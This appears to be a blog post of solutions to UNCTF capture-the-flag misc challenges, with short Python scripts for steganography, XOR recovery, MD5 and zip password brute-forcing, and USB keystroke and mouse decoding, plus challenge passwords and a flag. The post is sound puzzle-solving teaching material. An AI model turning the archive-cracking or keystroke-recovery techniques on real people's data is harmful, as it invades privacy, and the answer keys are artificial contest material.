PpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg5L6d5Y+k5q+U5Y
+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6Tnjpvlja
Hlt7TljaEg5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWN
oSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7T
ljaE=}
  • base64
依古比古玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡依古比古依古比古依古比古 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡依古比古玛卡巴卡玛卡巴卡
  • Morse
.-- .- -. ..--.- .- -. ..--.- -- .- -.- .- ..--.- -... .- -.- .- .- .- .- .- -.-.--

清和fan

题解

  • 根据压缩包找到视频,得到密码
    • 836885_2022_05_20
  • LSB 得到密码
  • 得到无线电音频,MMSTV
    • V@mpir3
  • 0宽

芝麻开门

题解

  • 得到png txt,后面后 key1
  • LSB

社什么社

题解

  • 从出题人入手,为凤凰古城

MY PICTURE

题解

  • 解压得到datflag.png,flag.png 为乱码图片,dat 文件需要经过处理
  • 根据dat文件中出现的大量0x8E,推断异或了0x8E,复原得到原始文件
from PIL import Image as im

flag = im.open('flag.jpg','r')
l,h=flag.size
puzzle=im.new('RGB',(h,l))
print(puzzle)
for i in range(l):
    for j in range(h):
        r,g,b=flag.getpixel((i,j))
        r=r^g
        g=g^b
        b=b^r
        puzzle.putpixel(((i*787+j)//1200,(i*787+j)%1200),(b,g,r))
puzzle.save('flag.png')
flag.close()
puzzle.close()
  • 写逆向脚本,得到正常图片
from PIL import Image as im


flag = im.open("flag.png", 'r')
l, h = flag.size
puzzlz = im.new('RGB', (h, l))
for i in range(l):
    for j in range(h):
        r, g, b = flag.getpixel((i, j))
        _r = g ^ b
        _g = r ^ g
        _b = r ^ b
        puzzlz.putpixel(((i * 1200 + j) // 787, (i * 1200 + j) % 787), (_b, _g, _r))
puzzlz.save('flag.jpg')
flag.close()
puzzlz.close()

找得到我吗

题解

  • 解压,看到 flag

zhiyin

题解

  • 解压得到 zip png jpg
  • 在png末尾发现 Morse,解码得到_unc7f!!!
  • 观察 jpg 16 进制编码,是倒序数据
with open('lanqiu.jpg', 'rb') as rb:
    content = rb.read().hex()
print(len(content))
a = []
for i in range(len(content) // 2):
    a.append(int(content[i*2:(i+1)*2], 16))
print(bytes(a))
with open('test.jpg', 'wb') as wb:
    wb.write(bytes(a[::-1]))

拨茧抽丝

题解

  • 注释为压缩包密码
  • 1.txt 存在0宽,得到密码:PAsS_w0rD
  • 观察发现 1.txt 似乎对应 2.txt,明文攻击得到key
    • 7ae68c2a 9f92100b a5d9e0c0
  • 0宽得到的密码解开最后一层,得到 flag

UNCTF{d4a3a242-cd32-4dd5-bac6-84bdf13f527f}

我小心海也绝非鳝类

题解

  • 下载得图中文字
    • F#S<YIcHnAG
  • fuzz
  • 得到flaginmd5,在16进制末尾发现base64编码,解码得到EASYLSB,那么flaginmd5应该为LSB密码
8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF
  • 发现长度为32 * 21,猜测为md5加密单个字符,写脚本爆破
b = ['8FA14CDD754F91CC6554C9E71929CCE7', '2DB95E8E1A9267B7A1188556B2013B33', '0CC175B9C0F1B6A831C399E269772661', 'B2F5FF47436671B6E533D8DC3614845D', 'F95B70FDC3088560732A5AC135644506', 'F1290186A5D0B1CEAB27F4E77C0C5D68', 'E1671797C52E15F763380B45E841EC32', '2DB95E8E1A9267B7A1188556B2013B33', '4A8A08F09D37B73795649038408B5F33', 'D95679752134A2D9EB61DBD7B91C4BCC', '6F8F57715090DA2632453988D9A1501B', 'E1671797C52E15F763380B45E841EC32', 'B14A7B8059D9C055954C92674CE60032', 'E358EFA489F58062F10DD7316B65649E', 'D95679752134A2D9EB61DBD7B91C4BCC', 'B14A7B8059D9C055954C92674CE60032', '6F8F57715090DA2632453988D9A1501B', '865C0C0B4AB0E063E5CAA3387C1A8741', '03C7C0ACE395D80182DB07AE2C30F034', '4A8A08F09D37B73795649038408B5F33', 'CBB184DD8E05C9709E5DCAEDAA0495CF']
from string import printable
from hashlib import md5


for i in b:
    for j in printable:
        if md5(j.encode()).hexdigest().lower() == i.lower():
            print(j, end='')

base家族

题解

  • 明文攻击,bandzip
  • 得到flagbase64隐写
from string import ascii_uppercase, ascii_lowercase, digits

base64_table = ascii_uppercase + ascii_lowercase + digits + '+/'


def encode(words: str) -> str:  # base64 encode
    strings = ''.join([bin(ord(_)).replace('0b', '').rjust(8, '0') for _ in words])
    strings += '0' * ((len(strings) // 6 + 1) * 6 - len(strings)) if len(strings) % 6 != 0 else ''
    return ''.join([base64_table[int(strings[6 * i: 6 * (i + 1)], 2)] for i in range(len(strings) // 6)])


def decode(base64: str) -> str:   # base64 decode
    strings = ''.join([bin(base64_table.index(_)).replace('0b', '').rjust(6, '0') for _ in base64])
    decoded = ''.join([chr(int(strings[8 * _: 8 * (_ + 1)], 2)) for _ in range(len(strings) // 8)])
    return decoded


def base_steg(base64: list) -> str:  # base64 steg
    steg_string, steg_msg = '', ''
    for i in base64:
        i = i.replace('=', '')
        strings = ''.join([bin(base64_table.index(_)).replace('0b', '').rjust(6, '0') for _ in i])
        steg_string += strings[(len(strings) - len(strings) // 8 * 8) * -1:] if len(strings) % 8 != 0 else ''
    for i in range(len(steg_string) // 8):
        cha = chr(int(steg_string[i * 8: (i + 1) * 8], 2))
        steg_msg += cha if cha in base64_table else ''
    return steg_msg

d = open('flag.txt', 'r').read()
print(base_steg(d.split('\n')))
  • 得到鼠标宏Macro.mrd,利用macro decoder,得到flag

数独大挑战

题解

    • 解数独
    • 爆破压缩包:547312
    • 根据hint提示
    • 向上^!,将解完的数独每行作为一个数字逐行异或得到
      • 649187915
    • 作为des密钥解密key,得到flag

    峰回路转

    题解

    • CRC32 爆破密码表
      • P@SsW0RD
    • 得到图片,用相同密码,slienteye解码
    • 伪加密,得到Flag,爆破xor

    catchjierry

    题解

    • key.py
    normalKeys = {"00":'',"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
    output = []
    keys = open('key.txt')
    for line in keys:
        
        if line[4:6] in normalKeys.keys():
            output += normalKeys[line[4:6]]
        else:
            output += ['[unknown]']
    keys.close()
    print("".join(output))
    • mouse.py
    nums = []
    keys = open('mouse.txt','r')
    posx = 0
    posy = 0
    #输出到文件out.txt
    out = open('out.txt','w')
    for line in keys:
        if len(line) != 17 :
             continue
        x = int(line[2:4],16)
        y = int(line[4:6],16)
        if x > 127 :
            x -= 256
        if y > 127 :
            y -= 256
        posx += x
        posy += y
        btn_flag = int(line[0:2],16)  # 1 for left , 2 for right , 0 for nothing
        if btn_flag == 1 :
            #输出 posx posy
            out.write(str(posx) + ' ' + str(posy)+'\n')
    out.close()
    keys.close()
    
    #描点画图 out.txt
    import matplotlib.pyplot as plt
    out = open('out.txt','r')
    x = []
    y = []
    for line in out:
        x.append(int(line.split()[0]))
        y.append(int(line.split()[1]))
    plt.plot(x,y)
    plt.show()

    nanoNumber

    题解

    • 猜测的策略如下: 前三次分别猜测 123 456 789,此时根据灯的情况,1000 个数会被分为 243 类,其中最大的一类也就 5 个数,只需要再猜 1 次即可唯一确定答案,最后在用第 5 次猜测猜中答案即可
    • poc
    def guess(ans, req):
        ans = list(ans)
        ret = [0, 0, 0]
        for x in range(3):
            if ans[x] == req[x]:
                ret[x] = 1
                ans[x] = ''
        ans = ''.join(ans)
        for x in range(3):
            if ret[x] == 0:
                if req[x] in ans:
                    ans = ans.replace(req[x], '', 1)
                    ret[x] = 2
        return ''.join([str(x) for x in ret])
    
    
    C = {}
    
    def run(ans):
        g1 = guess(ans, '123')
        g2 = guess(ans, '456')
        g3 = guess(ans, '789')
        global C
        C[(g1, g2, g3)] = C.get((g1, g2, g3), []) + [ans]
    
    for x in range(1000):
        run(str(x).zfill(3))
    
    for k in C.keys():
        if len(C[k]) > 1:
            for x in range(1000):
                if len(set([guess(ans, str(x).zfill(3)) for ans in C[k]])) == len(C[k]):
                    print(k, C[k], str(x).zfill(3))
                    break
            else:
                raise Exception('No solution')

    暂无评论

    发送评论 编辑评论

    
    				
    |´・ω・)ノ
    ヾ(≧∇≦*)ゝ
    (☆ω☆)
    (╯‵□′)╯︵┴─┴
     ̄﹃ ̄
    (/ω\)
    ∠( ᐛ 」∠)_
    (๑•̀ㅁ•́ฅ)
    →_→
    ୧(๑•̀⌄•́๑)૭
    ٩(ˊᗜˋ*)و
    (ノ°ο°)ノ
    (´இ皿இ`)
    ⌇●﹏●⌇
    (ฅ´ω`ฅ)
    (╯°A°)╯︵○○○
    φ( ̄∇ ̄o)
    ヾ(´・ ・`。)ノ"
    ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
    (ó﹏ò。)
    Σ(っ °Д °;)っ
    ( ,,´・ω・)ノ"(´っω・`。)
    ╮(╯▽╰)╭
    o(*////▽////*)q
    >﹏<
    ( ๑´•ω•) "(ㆆᴗㆆ)
    😂
    😀
    😅
    😊
    🙂
    🙃
    😌
    😍
    😘
    😜
    😝
    😏
    😒
    🙄
    😳
    😡
    😔
    😫
    😱
    😭
    💩
    👻
    🙌
    🖕
    👍
    👫
    👬
    👭
    🌚
    🌝
    🙈
    💊
    😶
    🙏
    🍦
    🍉
    😣
    Source: github.com/k4yt3x/flowerhd
    颜文字
    Emoji
    小恐龙
    花!
    上一篇
    下一篇